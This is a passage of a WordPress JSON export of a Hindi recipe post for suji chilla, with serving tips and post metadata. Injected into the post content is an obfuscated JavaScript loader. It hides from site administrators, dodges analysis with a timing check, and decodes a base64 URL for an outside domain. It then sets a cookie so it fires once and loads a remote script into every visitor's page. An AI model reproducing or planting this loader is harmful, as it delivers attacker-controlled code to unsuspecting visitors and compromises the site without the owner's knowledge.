\u0939\u0947\u0932\u094d\u0926\u0940<\/li>\n\n\n\n<li>\u092c\u091a\u094d\u091a\u094b\u0902, \u0911\u092b\u093f\u0938\/\u0938\u094d\u0915\u0942\u0932 \u091f\u093f\u092b\u093f\u0928 \u0914\u0930 \u0935\u094d\u0930\u0924 \u092e\u0947\u0902 \u092d\u0940 \u092a\u0930\u092b\u0947\u0915\u094d\u091f<\/li>\n\n\n\n<li>\u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u091f\u0947\u0915\u094d\u0938\u091a\u0930 \u0914\u0930 \u0928\u0930\u092e \u0905\u0902\u0926\u0930\u0942\u0928\u0940 \u0939\u093f\u0938\u094d\u0938\u093e<\/li>\n<\/ul>\n\n\n\n<p>\u0906\u092a \u0907\u0938 \u092c\u094d\u0932\u0949\u0917 \u0915\u0947 <strong>\u092a\u094d\u0930\u094b \u091f\u093f\u092a\u094d\u0938, \u0939\u0947\u0932\u094d\u0926\u0940 \u0935\u0930\u094d\u091c\u093c\u0928 \u0914\u0930 \u0938\u0930\u094d\u0935\u093f\u0902\u0917 \u0906\u0907\u0921\u093f\u092f\u093e\u091c<\/strong> \u0915\u0947 \u0905\u0928\u0941\u0938\u093e\u0930 \u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u092c\u0928\u093e \u0938\u0915\u0924\u0947 \u0939\u0948\u0902 \u0914\u0930 \u0907\u0938\u0947 \u0939\u0930 \u0926\u093f\u0928 \u0915\u0947 \u0928\u093e\u0936\u094d\u0924\u0947 \u092f\u093e \u0938\u094d\u092a\u0947\u0936\u0932 \u0905\u0935\u0938\u0930 \u092a\u0930 \u0936\u093e\u092e\u093f\u0932 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<p><strong>\u091f\u093f\u092a:<\/strong> \u0905\u092a\u0928\u0940 \u092a\u0938\u0902\u0926 \u0915\u0947 \u092e\u0938\u093e\u0932\u0947 \u0914\u0930 \u0938\u092c\u094d\u091c\u093f\u092f\u094b\u0902 \u0915\u0947 \u0938\u093e\u0925 \u0907\u0938\u0947 \u0915\u0938\u094d\u091f\u092e\u093e\u0907\u091c\u093c \u0915\u0930\u0947\u0902 \u0914\u0930 \u092c\u091a\u094d\u091a\u094b\u0902 \u092f\u093e \u092c\u0941\u091c\u093c\u0941\u0930\u094d\u0917\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0938\u0949\u092b\u094d\u091f \u0935\u0930\u094d\u091c\u093c\u0928 \u091f\u094d\u0930\u093e\u092f \u0915\u0930\u0947\u0902\u0964<\/p>\n\n\n\n<p><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>\u201c\u0905\u0926\u094d\u092d\u0941\u0924 \u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u0930\u0947\u0938\u093f\u092a\u0940: 7 \u0906\u0938\u093e\u0928 \u0938\u094d\u091f\u0947\u092a\u094d\u0938 \u092e\u0947\u0902 \u092c\u0928\u093e\u090f\u0902 \u092a\u0930\u092b\u0947\u0915\u094d\u091f, \u0938\u0941\u092a\u0930 \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u0914\u0930 \u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0936\u094d\u0924\u093e \u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u0930\u0947\u0938\u093f\u092a\u0940: 7 \u0938\u0940\u0915\u094d\u0930\u0947\u091f \u091f\u093f\u092a\u094d\u0938 \u0915\u0947 \u0938\u093e\u0925 \u092c\u0928\u093e\u090f\u0902 \u0938\u0941\u092a\u0930 \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u0914\u0930 \u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0936\u094d\u0924\u093e \u0939\u0947\u0932\u094d\u0926\u0940 \u0914\u0930 \u091d\u091f\u092a\u091f \u0928\u093e\u0936\u094d\u0924\u093e \u0930\u0947\u0938\u093f\u092a\u0940 \u0939\u0947\u0932\u094d\u0926\u0940 \u0914\u0930 \u091d\u091f\u092a\u091f \u0928\u093e\u0936\u094d\u0924\u093e \u0930\u0947\u0938\u093f\u092a\u0940 \u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u090f\u0915 \u0939\u0932\u094d\u0915\u093e, \u092a\u094c\u0937\u094d\u091f\u093f\u0915 \u0914\u0930 \u091d\u091f\u092a\u091f \u092c\u0928\u0928\u0947 \u0935\u093e\u0932\u093e \u092d\u093e\u0930\u0924\u0940\u092f \u0928\u093e\u0936\u094d\u0924\u093e \u0939\u0948\u0964 \u092f\u0939 &#8230; <a title=\"\u201c\u0905\u0926\u094d\u092d\u0941\u0924 \u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u0930\u0947\u0938\u093f\u092a\u0940: 7 \u0906\u0938\u093e\u0928 \u0938\u094d\u091f\u0947\u092a\u094d\u0938 \u092e\u0947\u0902 \u092c\u0928\u093e\u090f\u0902 \u092a\u0930\u092b\u0947\u0915\u094d\u091f, \u0938\u0941\u092a\u0930 \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u0914\u0930 \u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0936\u094d\u0924\u093e\" class=\"read-more\" href=\"https:\/\/simplereceipes.in\/en\/suji-chilla-recipe\/\" aria-label=\"Read more about \u201c\u0905\u0926\u094d\u092d\u0941\u0924 \u0938\u0942\u091c\u0940 \u0915\u093e \u091a\u0940\u0932\u093e \u0930\u0947\u0938\u093f\u092a\u0940: 7 \u0906\u0938\u093e\u0928 \u0938\u094d\u091f\u0947\u092a\u094d\u0938 \u092e\u0947\u0902 \u092c\u0928\u093e\u090f\u0902 \u092a\u0930\u092b\u0947\u0915\u094d\u091f, \u0938\u0941\u092a\u0930 \u0915\u094d\u0930\u093f\u0938\u094d\u092a\u0940 \u0914\u0930 \u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0936\u094d\u0924\u093e\">Read more<\/a><\/p>","protected":false},"author":1,"featured_media":596,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[],"class_list":["post-586","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-receipes"],"_links":{"self":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/586","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/comments?post=586"}],"version-history":[{"count":5,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/586\/revisions"}],"predecessor-version":[{"id":956,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/posts\/586\/revisions\/956"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/media\/596"}],"wp:attachment":[{"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/media?parent=586"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/categories?post=586"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/simplereceipes.in\/en\/wp-json\/wp\/v2\/tags?post=586"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}